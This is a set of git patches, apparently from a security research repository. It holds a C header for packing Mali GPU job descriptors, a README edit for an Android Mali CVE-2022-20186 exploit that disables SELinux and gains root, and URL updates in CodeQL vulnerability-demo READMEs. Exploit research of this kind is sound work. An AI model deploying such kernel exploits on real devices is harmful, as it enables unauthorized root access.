+           _loop_terminate = NULL; }))
+
+
+static inline uint64_t
+__gen_uint(uint64_t v, uint32_t start, uint32_t end)
+{
+#ifndef NDEBUG
+   const int width = end - start + 1;
+   if (width < 64) {
+      const uint64_t max = (1ull << width) - 1;
+      assert(v <= max);
+   }
+#endif
+
+   return v << start;
+}
+
+static inline uint64_t
+__gen_unpack_uint(const uint8_t *restrict cl, uint32_t start, uint32_t end)
+{
+   uint64_t val = 0;
+   const int width = end - start + 1;
+   const uint64_t mask = (width == 64 ? ~0 : (1ull << width) - 1 );
+
+   for (int byte = start / 8; byte <= end / 8; byte++) {
+      val |= ((uint64_t) cl[byte]) << ((byte - start / 8) * 8);
+   }
+
+   return (val >> (start % 8)) & mask;
+}
+
+enum mali_job_type {
+        MALI_JOB_TYPE_NOT_STARTED            =      0,
+        MALI_JOB_TYPE_NULL                   =      1,
+        MALI_JOB_TYPE_WRITE_VALUE            =      2,
+        MALI_JOB_TYPE_CACHE_FLUSH            =      3,
+        MALI_JOB_TYPE_COMPUTE                =      4,
+        MALI_JOB_TYPE_VERTEX                 =      5,
+        MALI_JOB_TYPE_GEOMETRY               =      6,
+        MALI_JOB_TYPE_TILER                  =      7,
+        MALI_JOB_TYPE_FUSED                  =      8,
+        MALI_JOB_TYPE_FRAGMENT               =      9,
+};
+
+enum mali_write_value_type {
+        MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER  =      1,
+        MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP =      2,
+        MALI_WRITE_VALUE_TYPE_ZERO           =      3,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_8    =      4,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_16   =      5,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_32   =      6,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_64   =      7,
+};
+
+
+struct MALI_WRITE_VALUE_JOB_PAYLOAD {
+   uint64_t                             address;
+   enum mali_write_value_type           type;
+   uint64_t                             immediate_value;
+};
+
+struct MALI_JOB_HEADER {
+   uint32_t                             exception_status;
+   uint32_t                             first_incomplete_task;
+   uint64_t                             fault_pointer;
+   bool                                 is_64b;
+   enum mali_job_type                   type;
+   bool                                 barrier;
+   bool                                 invalidate_cache;
+   bool                                 suppress_prefetch;
+   bool                                 enable_texture_mapper;
+   bool                                 relax_dependency_1;
+   bool                                 relax_dependency_2;
+   uint32_t                             index;
+   uint32_t                             dependency_1;
+   uint32_t                             dependency_2;
+   uint64_t                             next;
+};
+
+
+static inline void
+MALI_JOB_HEADER_pack(uint32_t * restrict cl,
+                     const struct MALI_JOB_HEADER * restrict values)
+{
+   cl[ 0] = __gen_uint(values->exception_status, 0, 31);
+   cl[ 1] = __gen_uint(values->first_incomplete_task, 0, 31);
+   cl[ 2] = __gen_uint(values->fault_pointer, 0, 63);
+   cl[ 3] = __gen_uint(values->fault_pointer, 0, 63) >> 32;
+   cl[ 4] = __gen_uint(values->is_64b, 0, 0) |
+            __gen_uint(values->type, 1, 7) |
+            __gen_uint(values->barrier, 8, 8) |
+            __gen_uint(values->invalidate_cache, 9, 9) |
+            __gen_uint(values->suppress_prefetch, 11, 11) |
+            __gen_uint(values->enable_texture_mapper, 12, 12) |
+            __gen_uint(values->relax_dependency_1, 14, 14) |
+            __gen_uint(values->relax_dependency_2, 15, 15) |
+            __gen_uint(values->index, 16, 31);
+   cl[ 5] = __gen_uint(values->dependency_1, 0, 15) |
+            __gen_uint(values->dependency_2, 16, 31);
+   cl[ 6] = __gen_uint(values->next, 0, 63);
+   cl[ 7] = __gen_uint(values->next, 0, 63) >> 32;
+}
+
+
+#define MALI_JOB_HEADER_LENGTH 32
+struct mali_job_header_packed { uint32_t opaque[8]; };
+static inline void
+MALI_JOB_HEADER_unpack(const uint8_t * restrict cl,
+                       struct MALI_JOB_HEADER * restrict values)
+{
+   if (((const uint32_t *) cl)[4] & 0x2400) fprintf(stderr, "XXX: Invalid field unpacked at word 4\n");
+   values->exception_status = __gen_unpack_uint(cl, 0, 31);
+   values->first_incomplete_task = __gen_unpack_uint(cl, 32, 63);
+   values->fault_pointer = __gen_unpack_uint(cl, 64, 127);
+   values->is_64b = __gen_unpack_uint(cl, 128, 128);
+   values->type = __gen_unpack_uint(cl, 129, 135);
+   values->barrier = __gen_unpack_uint(cl, 136, 136);
+   values->invalidate_cache = __gen_unpack_uint(cl, 137, 137);
+   values->suppress_prefetch = __gen_unpack_uint(cl, 139, 139);
+   values->enable_texture_mapper = __gen_unpack_uint(cl, 140, 140);
+   values->relax_dependency_1 = __gen_unpack_uint(cl, 142, 142);
+   values->relax_dependency_2 = __gen_unpack_uint(cl, 143, 143);
+   values->index = __gen_unpack_uint(cl, 144, 159);
+   values->dependency_1 = __gen_unpack_uint(cl, 160, 175);
+   values->dependency_2 = __gen_unpack_uint(cl, 176, 191);
+   values->next = __gen_unpack_uint(cl, 192, 255);
+}
+
+static inline const char *
+mali_job_type_as_str(enum mali_job_type imm)
+{
+    switch (imm) {
+    case MALI_JOB_TYPE_NOT_STARTED: return "Not started";
+    case MALI_JOB_TYPE_NULL: return "Null";
+    case MALI_JOB_TYPE_WRITE_VALUE: return "Write value";
+    case MALI_JOB_TYPE_CACHE_FLUSH: return "Cache flush";
+    case MALI_JOB_TYPE_COMPUTE: return "Compute";
+    case MALI_JOB_TYPE_VERTEX: return "Vertex";
+    case MALI_JOB_TYPE_GEOMETRY: return "Geometry";
+    case MALI_JOB_TYPE_TILER: return "Tiler";
+    case MALI_JOB_TYPE_FUSED: return "Fused";
+    case MALI_JOB_TYPE_FRAGMENT: return "Fragment";
+    default: return "XXX: INVALID";
+    }
+}
+
+static inline void
+MALI_JOB_HEADER_print(FILE *fp, const struct MALI_JOB_HEADER * values, unsigned indent)
+{
+   fprintf(fp, "%*sException Status: %u\n", indent, "", values->exception_status);
+   fprintf(fp, "%*sFirst Incomplete Task: %u\n", indent, "", values->first_incomplete_task);
+   fprintf(fp, "%*sFault Pointer: 0x%" PRIx64 "\n", indent, "", values->fault_pointer);
+   fprintf(fp, "%*sIs 64b: %s\n", indent, "", values->is_64b ? "true" : "false");
+   fprintf(fp, "%*sType: %s\n", indent, "", mali_job_type_as_str(values->type));
+   fprintf(fp, "%*sBarrier: %s\n", indent, "", values->barrier ? "true" : "false");
+   fprintf(fp, "%*sInvalidate Cache: %s\n", indent, "", values->invalidate_cache ? "true" : "false");
+   fprintf(fp, "%*sSuppress Prefetch: %s\n", indent, "", values->suppress_prefetch ? "true" : "false");
+   fprintf(fp, "%*sEnable Texture Mapper: %s\n", indent, "", values->enable_texture_mapper ? "true" : "false");
+   fprintf(fp, "%*sRelax Dependency 1: %s\n", indent, "", values->relax_dependency_1 ? "true" : "false");
+   fprintf(fp, "%*sRelax Dependency 2: %s\n", indent, "", values->relax_dependency_2 ? "true" : "false");
+   fprintf(fp, "%*sIndex: %u\n", indent, "", values->index);
+   fprintf(fp, "%*sDependency 1: %u\n", indent, "", values->dependency_1);
+   fprintf(fp, "%*sDependency 2: %u\n", indent, "", values->dependency_2);
+   fprintf(fp, "%*sNext: 0x%" PRIx64 "\n", indent, "", values->next);
+}
+
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_pack(uint32_t * restrict cl,
+                                  const struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values)
+{
+   cl[ 0] = __gen_uint(values->address, 0, 63);
+   cl[ 1] = __gen_uint(values->address, 0, 63) >> 32;
+   cl[ 2] = __gen_uint(values->type, 0, 31);
+   cl[ 3] = 0;
+   cl[ 4] = __gen_uint(values->immediate_value, 0, 63);
+   cl[ 5] = __gen_uint(values->immediate_value, 0, 63) >> 32;
+}
+
+
+#define MALI_WRITE_VALUE_JOB_PAYLOAD_LENGTH 24
+#define MALI_WRITE_VALUE_JOB_PAYLOAD_header 0
+
+
+struct mali_write_value_job_payload_packed { uint32_t opaque[6]; };
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_unpack(const uint8_t * restrict cl,
+                                    struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values)
+{
+   if (((const uint32_t *) cl)[3] & 0xffffffff) fprintf(stderr, "XXX: Invalid field unpacked at word 3\n");
+   values->address = __gen_unpack_uint(cl, 0, 63);
+   values->type = __gen_unpack_uint(cl, 64, 95);
+   values->immediate_value = __gen_unpack_uint(cl, 128, 191);
+}
+
+static inline const char *
+mali_write_value_type_as_str(enum mali_write_value_type imm)
+{
+    switch (imm) {
+    case MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER: return "Cycle Counter";
+    case MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP: return "System Timestamp";
+    case MALI_WRITE_VALUE_TYPE_ZERO: return "Zero";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_8: return "Immediate 8";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_16: return "Immediate 16";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_32: return "Immediate 32";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_64: return "Immediate 64";
+    default: return "XXX: INVALID";
+    }
+}
+
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_print(FILE *fp, const struct MALI_WRITE_VALUE_JOB_PAYLOAD * values, unsigned indent)
+{
+   fprintf(fp, "%*sAddress: 0x%" PRIx64 "\n", indent, "", values->address);
+   fprintf(fp, "%*sType: %s\n", indent, "", mali_write_value_type_as_str(values->type));
+   fprintf(fp, "%*sImmediate Value: 0x%" PRIx64 "\n", indent, "", values->immediate_value);
+}
+
+struct mali_write_value_job_packed {
+   uint32_t opaque[14];
+};
+
+#define MALI_JOB_HEADER_header                  \
+   .is_64b = true
+
+#define MALI_WRITE_VALUE_JOB_LENGTH 56
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_TYPE struct MALI_JOB_HEADER
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_header MALI_JOB_HEADER_header
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_pack MALI_JOB_HEADER_pack
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_unpack MALI_JOB_HEADER_unpack
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_print MALI_JOB_HEADER_print
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_OFFSET 0
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_TYPE struct MALI_WRITE_VALUE_JOB_PAYLOAD
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_header MALI_WRITE_VALUE_JOB_PAYLOAD_header
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_pack MALI_WRITE_VALUE_JOB_PAYLOAD_pack
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_unpack MALI_WRITE_VALUE_JOB_PAYLOAD_unpack
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_print MALI_WRITE_VALUE_JOB_PAYLOAD_print
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_OFFSET 32
+
+#endif

From a5c9805a9205d9b4adc0e3479370dcec172b238d Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Wed, 27 Jul 2022 16:36:50 +0100
Subject: [PATCH 093/104] Update
 SecurityExploits/Android/Mali/CVE_2022_20186/README.md

Co-authored-by: Xavier RENE-CORAIL <xcorail@github.com>
---
 SecurityExploits/Android/Mali/CVE_2022_20186/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Android/Mali/CVE_2022_20186/README.md b/SecurityExploits/Android/Mali/CVE_2022_20186/README.md
index ed6098b..d2194ce 100644
--- a/SecurityExploits/Android/Mali/CVE_2022_20186/README.md
+++ b/SecurityExploits/Android/Mali/CVE_2022_20186/README.md
@@ -8,7 +8,7 @@ The exploit is tested on the Google Pixel 6 and supports patch levels from Novme
 android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
 ```
 
-The exploit rarely fails and can be retry without crashing the device. If successful, it should disable SELinux and gain root.
+The exploit rarely fails and can be retried without crashing the device. If successful, it should disable SELinux and gain root.
 
 ```
 oriole:/ $ /data/local/tmp/mali_alias                                                                                             

From 506c77af47c5ded40833ee4582aee670005656b1 Mon Sep 17 00:00:00 2001
From: Bas Alberts <13686387+anticomputer@users.noreply.github.com>
Date: Mon, 7 Nov 2022 16:51:41 -0500
Subject: [PATCH 094/104] Create verifications.html

Mastodon account verifications to serve out of raw.
---
 mastodon/verifications.html | 4 ++++
 1 file changed, 4 insertions(+)
 create mode 100644 mastodon/verifications.html

diff --git a/mastodon/verifications.html b/mastodon/verifications.html
new file mode 100644
index 0000000..0bddc0e
--- /dev/null
+++ b/mastodon/verifications.html
@@ -0,0 +1,4 @@
+<html>
+  <a rel="me" href="https://infosec.exchange/@githubsecurity">GitHub Security on Mastodon</a>
+  <a rel="me" href="https://infosec.exchange/@GitHubSecurityLab">GitHub Security Lab on Mastodon</a>
+</html>

From d1cca5ac93804174a87f8d0c4ad718fd6b2a855f Mon Sep 17 00:00:00 2001
From: Joseph Katsioloudes <jkcso@github.com>
Date: Tue, 29 Nov 2022 22:42:13 +0000
Subject: [PATCH 095/104] replaces databases, blog URLs and removes lgtm

---
 .../ChakraCore-bad-overflow-check/README.md   |  4 +--
 .../cpp/Facebook_Fizz_CVE-2019-3560/README.md |  2 +-
 .../cpp/Qualcomm-MSM-copy_from_user/README.md |  4 +--
 .../cpp/XNU_DTrace_CVE-2017-13782/README.md   |  4 +--
 .../README.md                                 |  4 +--
 .../00_mbuf_copydata_tainted_size.ql          |  2 +-
 .../XNU_icmp_error_CVE-2018-4407/README.md    |  4 +--
 .../README.md                                 |  6 ++--
 .../cpp/libjpeg-turbo-oob/README.md           |  4 +--
 .../cpp/libssh2_eating_error_codes/README.md  |  4 +--
 .../cpp/rsyslog_CVE-2018-1000140/README.md    |  6 ++--
 .../Video/rsyslog.srt                         |  2 +-
 CodeQL_Queries/csharp/ZipSlip/README.md       | 33 ++++++++++++++-----
 .../Apache_Struts_CVE-2017-9805/README.md     |  4 +--
 .../Apache_Struts_CVE-2018-11776/README.md    |  4 +--
 .../06_DataFlow_With_Sanitizer.ql             |  5 +--
 .../Etherpad_CVE-2018-6835/README.md          |  6 ++--
 .../alternative/README.md                     |  8 ++---
 .../DTrace/CVE-2017-13782/README.md           |  2 +-
 .../CVE-2017-13782/cve-2017-13782-poc.c       |  2 +-
 .../icmp_error_CVE-2018-4407/README.md        |  2 +-
 .../nfs_vfsops_CVE-2018-4259/README.md        |  2 +-
 .../packet_mangler_CVE-2017-13904/README.md   |  2 +-
 .../README.md                                 |  2 +-
 24 files changed, 65 insertions(+), 53 deletions(-)

diff --git a/CodeQL_Queries/cpp/ChakraCore-bad-overflow-check/README.md b/CodeQL_Queries/cpp/ChakraCore-bad-overflow-check/README.md
index 8097be5..75f634d 100644
--- a/CodeQL_Queries/cpp/ChakraCore-bad-overflow-check/README.md
+++ b/CodeQL_Queries/cpp/ChakraCore-bad-overflow-check/README.md
@@ -1,3 +1 @@
-Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/microsoft/chakracore/ChakraCore-revision-2017-April-12--18-13-26.zip)
-
-We now also have this query in our default suite: https://lgtm.com/rules/2156560627/
+Use [this snapshot](https://github.com/github/securitylab/releases/download/chakracore-codeql-database/ChakraCore-revision-2017-April-12--18-13-26.zip)
diff --git a/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md b/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md
index e08808d..6790efd 100644
--- a/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md
+++ b/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md
@@ -1,5 +1,5 @@
 # Facebook Fizz integer overflow vulnerability (CVE-2019-3560)
 
-Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/facebook/fizz/facebookincubator_fizz_cpp-srcVersion_c69ad1baf3f04620393ebadc3eedd130b74f4023-dist_odasa-lgtm-2019-01-13-f9dca2a-universal.zip) for the demo.
+Use [this snapshot](https://github.com/github/securitylab/releases/download/facebook-codeql-database/facebookincubator_fizz_cpp-srcVersion_c69ad1baf3f04620393ebadc3eedd130b74f4023-dist_odasa-lgtm-2019-01-13-f9dca2a-universal.zip) for the demo.
 
 [Fizz](https://github.com/facebookincubator/fizz) contained a remotely triggerable infinite loop. For more details about the bug, see this [blog post](https://securitylab.github.com/research/facebook-fizz-CVE-2019-3560). A proof-of-concept exploit is available [here](https://github.com/github/securitylab/tree/95c0bcc670f3b3d98a4d578f8993f8138092b94f/SecurityExploits/Facebook/Fizz/CVE-2019-3560).
diff --git a/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md b/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md
index 545706d..9955967 100644
--- a/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md
+++ b/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md
@@ -1,5 +1,5 @@
-[Blog post](https://lgtm.com/blog/qualcomm_copy_from_user)
+[Blog post](https://github.blog/category/security/stack-buffer-overflow-qualcomm-msm/)
 
-[Snapshot for this demo](https://downloads.lgtm.com/snapshots/cpp/qualcomm/msm/msm-4.4-revision-2017-May-07--08-33-56.zip)
+[Snapshot for this demo](https://github.com/github/securitylab/releases/download/qualcomm-msm-codeql-database/msm-4.4-revision-2017-May-07--08-33-56.zip)
 
 The blog post was written before we had the C++ dataflow library, so these demo queries are a bit different than the blog post.
diff --git a/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md b/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md
index b9f2ed7..fe8c552 100644
--- a/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md
+++ b/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md
@@ -1,5 +1,5 @@
-[Blog post](https://lgtm.com/blog/apple_xnu_dtrace_CVE-2017-13782)
+[Blog post](https://github.blog/category/security/apple-xnu-dtrace-CVE-2017-13782/)
 
 Bug was fixed in [macOS High Sierra 10.13.1](https://support.apple.com/en-us/HT208221).
 
-[This snapshot](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/XNU-revision-2017-June-13--15-52-38.zip) (macOS 10.13) has the bug.
+[This snapshot](https://github.com/github/securitylab/releases/download/xnu-codeql-database/XNU-revision-2017-June-13--15-52-38.zip) (macOS 10.13) has the bug.
diff --git a/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md b/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md
index 7ca34fd..c0151de 100644
--- a/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md
+++ b/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md
@@ -1,5 +1,5 @@
-[Blog post](https://lgtm.com/blog/apple_xnu_nfs_boot_CVE-2018-4136_CVE-2018-4160)
+[Blog post](https://github.blog/category/security/apple-xnu-nfs-boot/)
 
 Bug was fixed in [macOS High Sierra 10.13.4](https://support.apple.com/en-gb/HT208692).
 
-[This snapshot](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/xnu-4570.41.2_macOS-10.13.3_Semmle-1.16.1.zip) has the bug.
+[This snapshot](https://github.com/github/securitylab/releases/download/xnu-macos10.13.3-codeql-database/xnu-4570.41.2_macOS-10.13.3_Semmle-1.16.1.zip) has the bug.
diff --git a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql
index b34679d..29ecd05 100644
--- a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql
+++ b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql
@@ -10,7 +10,7 @@
 /*
  * This query is explained in detail in this blog post:
  *
- * https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407
+ * https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/
  *
  * It is based on the assumption that the function `m_mtod`, which returns
  * a pointer to the data stored in an `mbuf`, often returns a buffer
diff --git a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md
index cae2e9c..9ec2dfe 100644
--- a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md
+++ b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md
@@ -1,5 +1,5 @@
 # Apple XNU icmp_error CVE-2018-4407
 
-Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/xnu-4570.71.2_macOS-10.13.6_Semmle-1.18.0.zip) for the demo.
+Use [this snapshot](https://github.com/github/securitylab/releases/download/xnu-macos10.13.6-codeql-database/xnu-4570.71.2_macOS-10.13.6_Semmle-1.18.0.zip) for the demo.
 
-There are two parts to this demo. The first part is `00_mbuf_copydata_tainted_size.ql`, which is the dataflow query that found the bug. It is explained in detail in [this blog post](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407). The problem with this query is that it does not find the true source of the untrusted data. This is because it assumes that any call to the function named `m_mtod` can return untrusted data. But not every `mbuf` contains untrusted data. So the second part of the demo, corresponding to [this blog post](https://lgtm.com/blog/apple_xnu_icmp_nfs_pocs), is to use dataflow analysis to find a path that gets an untrusted `mbuf` into `icmp_error`. The second part of the demo is developed in steps, starting with `01_paths_to_icmp_error.ql`.
+There are two parts to this demo. The first part is `00_mbuf_copydata_tainted_size.ql`, which is the dataflow query that found the bug. It is explained in detail in [this blog post](https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/). The problem with this query is that it does not find the true source of the untrusted data. This is because it assumes that any call to the function named `m_mtod` can return untrusted data. But not every `mbuf` contains untrusted data. So the second part of the demo, corresponding to [this blog post](https://github.blog/category/security/apple-xnu-exploit-icmp-poc/), is to use dataflow analysis to find a path that gets an untrusted `mbuf` into `icmp_error`. The second part of the demo is developed in steps, starting with `01_paths_to_icmp_error.ql`.
diff --git a/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md b/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md
index 58bc6be..b0039e9 100644
--- a/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md
+++ b/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md
@@ -1,4 +1,4 @@
-https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904
+https://github.blog/category/security/CVE-2018-4249-apple-xnu-packet-mangler/
 
 There were multiple bugs in `packet_mangler.c`. One of the infinite loop bugs was fixed in macOS High Sierra 10.13.2. The other bugs were fixed in macOS High Sierra 10.13.5.
 
@@ -8,6 +8,6 @@ For a demo, the best query to show is `tcphdr_mbuf_copydata.ql`, because it show
 
 `InfiniteLoop.ql` is a query inspired by one of the bugs in this code: the loop might not terminate because the loop counter is updated with a compound assignment (`+=`). We wrote an exploit which causes the right hand side of the assignment to be zero, which means that the loop runs forever.
 
-All three queries find results in [this snapshot](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/XNU-revision-2017-June-13--15-52-38.zip) (macOS 10.13).
+All three queries find results in [this snapshot](https://github.com/github/securitylab/releases/download/xnu-macos10.13-codeql-database/XNU-revision-2017-June-13--15-52-38.zip) (macOS 10.13).
 
-The queries also find results in [this newer snapshot for 10.13.3](https://downloads.lgtm.com/snapshots/cpp/apple/xnu/xnu-4570.41.2_macOS-10.13.3_Semmle-1.16.1.zip). Apple thought they had fixed the infinite loop bug in 10.13.2, by changing the loop condition to a `>`. They were wrong.
+The queries also find results in [this newer snapshot for 10.13.3](https://github.com/github/securitylab/releases/download/xnu-macos10.13.3-codeql-database/xnu-4570.41.2_macOS-10.13.3_Semmle-1.16.1.zip). Apple thought they had fixed the infinite loop bug in 10.13.2, by changing the loop condition to a `>`. They were wrong.
diff --git a/CodeQL_Queries/cpp/libjpeg-turbo-oob/README.md b/CodeQL_Queries/cpp/libjpeg-turbo-oob/README.md
index 8e08a09..6605aa1 100644
--- a/CodeQL_Queries/cpp/libjpeg-turbo-oob/README.md
+++ b/CodeQL_Queries/cpp/libjpeg-turbo-oob/README.md
@@ -2,7 +2,7 @@ This is demo is an example of variant analysis on a recent [bugfix](https://gith
 
 The fix prevents an out-of-bounds access when processing malformed BMP files: when reading a BMP file, the library allocates a colour map based on the number of colours declared in the BMP header. Later on, individual bytes are read from the file and used as indices into this colour map. Previously, this was done without checking whether the byte actually represented a valid colour, which could cause an out-of-bounds access. The fix introduces a field in the same struct as the colour map that records its size, and checks the index against it, aborting with an error if the index is out of range.
 
-A snapshot of libjpeg-turbo from before the fix is [here](https://downloads.lgtm.com/snapshots/cpp/libjpeg-turbo/libjpeg-turbo-revision-0fa7850aeb273204acd57be11f328b2be5d97dc6.zip), and one that contains the fix is [here](https://downloads.lgtm.com/snapshots/cpp/libjpeg-turbo/libjpeg-turbo-revision-d5f281b734425fc1d930ff2c3f8441aad731343e.zip).
+A snapshot of libjpeg-turbo from before the fix is [here](https://github.com/github/securitylab/releases/download/lipjpeg-turbo-codeql-database/libjpeg-turbo-revision-0fa7850aeb273204acd57be11f328b2be5d97dc6.zip), and one that contains the fix is [here](https://github.com/github/securitylab/releases/download/lipjpeg-turbo-codeql-database-patched/libjpeg-turbo-revision-d5f281b734425fc1d930ff2c3f8441aad731343e.zip).
 
 The first five QL files develop a query that flags exactly the fixed accesses on the former snapshot, and nothing on the latter; the last query is a generalisation that finds a new instance of the same problem. All queries are run on the fixed snapshot, except when stated otherwise.
 
@@ -11,6 +11,6 @@ The first five QL files develop a query that flags exactly the fixed accesses on
   - 02b_find_guarded_colormap_index_working.ql: The previous query doesn't actually work, since `ERREXIT` isn't recognised as being a non-returning macro. This query fixes that.
   - 03_find_unguarded_colormap_index.ql: Flipping the logic around, we now look for _unguarded_ indexing. This gives a few false positives in cases where `cmap_length` isn't used. There is still a guard in these cases, but it's against a parameter that happens to contain the size of the colour map.
   - 04_find_unguarded_colormap_no_fps.ql: Add inter-procedural tracking to reason about the flow of colour maps and their sizes. This eliminates the remaining FPs on the fixed snapshot, and gives the expected results on the original snapshot.
-  - 05_find_unguarded_colormap_generalised.ql: By removing the hardcoded references to `_bmp_source_struct`, we get a more general query that looks for other unguarded indexes into colour maps. This gives yet more false positives, since there are a few other guarding patterns, but the first three results are actually true positives, which we [reported](https://github.com/libjpeg-turbo/libjpeg-turbo/issues/295). A snapshot with these results fixed is available [here](https://downloads.lgtm.com/snapshots/cpp/libjpeg-turbo/libjpeg-turbo-revision-d00d7d8c194e587ed10a395e0f307ce9dddf5687.zip).
+  - 05_find_unguarded_colormap_generalised.ql: By removing the hardcoded references to `_bmp_source_struct`, we get a more general query that looks for other unguarded indexes into colour maps. This gives yet more false positives, since there are a few other guarding patterns, but the first three results are actually true positives, which we [reported](https://github.com/libjpeg-turbo/libjpeg-turbo/issues/295). A snapshot with these results fixed is available [here](https://github.com/github/securitylab/releases/download/lipjpeg-turbo-codeql-database-patched/libjpeg-turbo-revision-d00d7d8c194e587ed10a395e0f307ce9dddf5687.zip).
 
 Note that the final query is somewhat non-trivial (>100 LoC, uses global value numbering, guards and inter-procedural flow), so it's perhaps best used with an audience that has seen some simple QL before.
diff --git a/CodeQL_Queries/cpp/libssh2_eating_error_codes/README.md b/CodeQL_Queries/cpp/libssh2_eating_error_codes/README.md
index 2c2a630..4b595a5 100644
--- a/CodeQL_Queries/cpp/libssh2_eating_error_codes/README.md
+++ b/CodeQL_Queries/cpp/libssh2_eating_error_codes/README.md
@@ -1,9 +1,9 @@
 # Eating error codes in libssh2
 
-Download this [snapshot](https://downloads.lgtm.com/snapshots/cpp/libssh2/libssh2_libssh2_C_C++_38bf7ce.zip) for the demo.
+Download this [snapshot](https://github.com/github/securitylab/releases/download/libssh2-codeql-database/libssh2_libssh2_C_C++_38bf7ce.zip) for the demo.
 
 This demo shows how to develop, step-by-step, the query from the [blog post](https://blog.semmle.com/libssh2-integer-overflow/) about libssh2 CVE-2019-13115. This query did not find the bug that caused the CVE. It is instead about doing variant analysis on a bug that we noticed on the development branch of libssh2. We sent the query results to the libssh2 development team and they were able to fix all the variants before the next version of libssh2 was released.
 
-[This](https://lgtm.com/projects/g/libssh2/libssh2/snapshot/6e2f5563c80521b3cde72a6fcdb675c2e085f9cf/files/src/hostkey.c?sort=name&dir=ASC&mode=heatmap&__hstc=70225743.5fa8704c8874c6eafaef219923a26734.1534954774206.1564532078978.1564925733575.72&__hssc=70225743.2.1565139962633&__hsfp=997709570#L677) is an example of the bug. The problem is that `_libssh2_get_c_string` returns a negative integer as an error code, but the type of `r_len` is `unsigned int`, so the error code is accidentally ignored.
+The problem is that `_libssh2_get_c_string` returns a negative integer as an error code, but the type of `r_len` is `unsigned int`, so the error code is accidentally ignored.
 
 For a shorter demo, stop at step 02. Steps 03 and 04 make the query more sophisticated by adding local data flow and range analysis.
diff --git a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md
index 36c17f5..ee53f5c 100644
